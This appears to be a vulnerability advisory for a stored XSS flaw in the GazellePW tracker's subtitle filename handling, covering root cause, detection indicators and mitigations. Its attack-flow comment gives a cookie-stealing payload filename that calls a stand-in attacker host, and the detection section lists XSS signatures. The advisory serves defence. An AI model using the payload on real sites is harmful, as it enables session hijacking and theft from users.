CVE-2026-38473: GazellePW Stored XSS Vulnerability

CVE-2026-38473 Overview

CVE-2026-38473 is a Stored Cross-Site Scripting (XSS) vulnerability in GazellePW (GazellePosterWall), a torrent tracker application. The flaw exists in the subtitle deletion flow at commit 86c4bedf727691b5a97af42a4864869d18446449. Remote authenticated users can inject arbitrary JavaScript through a crafted subtitle filename. The malicious payload is stored during the upload process and later rendered when the application processes /subtitles.php?action=delete. This enables attackers to execute JavaScript in the context of any user who views or interacts with the affected page.

Critical Impact
Authenticated attackers can hijack sessions, steal cookies, or pivot toward full database compromise through a documented one-click exploit chain.

Affected Products

GazellePW (GazellePosterWall)
Commit 86c4bedf727691b5a97af42a4864869d18446449
Deployments running the vulnerable subtitle upload and delete handlers

Discovery Timeline

2026-08-25 - CVE-2026-38473 published to NVD
2026-08-25 - Last updated in NVD database

Technical Details for CVE-2026-38473

Vulnerability Analysis

The vulnerability resides in how GazellePW handles subtitle filenames throughout the upload and delete workflow. The upload handler at sections/subtitles/upload_handle.php accepts a user-supplied filename without sanitizing HTML or JavaScript metacharacters. The value is persisted server-side and later reflected into HTML output by sections/subtitles/delete.php when a user visits the deletion endpoint. Because the payload is stored rather than reflected in a single request, any authenticated user who reaches the deletion view executes the injected script. Published exploit analysis demonstrates the flaw as the initial link in a chain leading to complete database compromise. Review the Snaacky exploit chain writeup for the full attack path.

Root Cause

The root cause is missing input validation and output encoding on subtitle filenames. The upload handler stores the untrusted filename verbatim (see upload_handle.php line 12 and line 37). The delete function renders the stored value without HTML entity encoding (see delete.php line 25). This is a classic failure to enforce contextual output escaping in PHP templates.

Attack Vector

An authenticated attacker uploads a subtitle file whose filename contains JavaScript, such as an onerror handler wrapped in a <script> or <img> tag. The filename is stored against the subtitle record. When any authenticated user later triggers the delete confirmation view for that subtitle, the browser parses and executes the injected script under the victim's session. The attacker can then issue authenticated requests, exfiltrate CSRF tokens, or escalate toward administrative actions using the chain documented by the referenced researcher.

// Example exploitation flow (described in prose)
// 1. Attacker submits a subtitle upload with filename: <img src=x onerror=fetch('//attacker/'+document.cookie)>.srt
// 2. Filename is stored unsanitized by upload_handle.php
// 3. Victim visits /subtitles.php?action=delete for that entry
// 4. delete.php renders the filename inline, browser executes the payload

Detection Methods for CVE-2026-38473

Indicators of Compromise

Subtitle records with filenames containing HTML tags, <script>, onerror=, onload=, or javascript: substrings
Outbound HTTP requests from authenticated user sessions to unfamiliar domains shortly after visiting /subtitles.php?action=delete
Unexpected administrative actions performed under legitimate user accounts following subtitle interactions

Detection Strategies

Query the subtitles database table for filename fields containing <, >, or JavaScript event handler names
Inspect web server logs for POST requests to the subtitle upload endpoint carrying multipart filenames with markup characters
Correlate access to /subtitles.php?action=delete with anomalous session behavior such as new cookie exfiltration flows

Monitoring Recommendations

Enable web application firewall (WAF) rules that inspect multipart filename fields for HTML metacharacters
Log and alert on Content Security Policy (CSP) violation reports from pages rendering user-supplied subtitle metadata
Monitor authenticated user sessions for privilege changes or bulk data access following subtitle page views

How to Mitigate CVE-2026-38473

Immediate Actions Required

Restrict subtitle upload permissions to trusted user groups until a patched build is deployed
Audit stored subtitle filenames and quarantine any records containing HTML or script content
Apply server-side input validation that rejects filenames containing characters outside a safe allowlist

Patch Information

No official vendor patch is referenced in the NVD entry at publication time. Operators should track the GazellePW repository for commits addressing the affected upload and delete handlers. Until a fixed commit is published, apply the workarounds below and validate any downstream forks that inherit commit 86c4bedf727691b5a97af42a4864869d18446449.

Workarounds

Add HTML entity encoding around the filename output in sections/subtitles/delete.php using htmlspecialchars($filename, ENT_QUOTES, 'UTF-8')
Sanitize uploaded filenames in sections/subtitles/upload_handle.php to strip or reject characters such as <, >, ", and '
Deploy a strict Content Security Policy that disallows inline scripts on subtitle pages to reduce impact if injection recurs

bash

# Configuration example: sample nginx CSP header for subtitle pages
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'" always;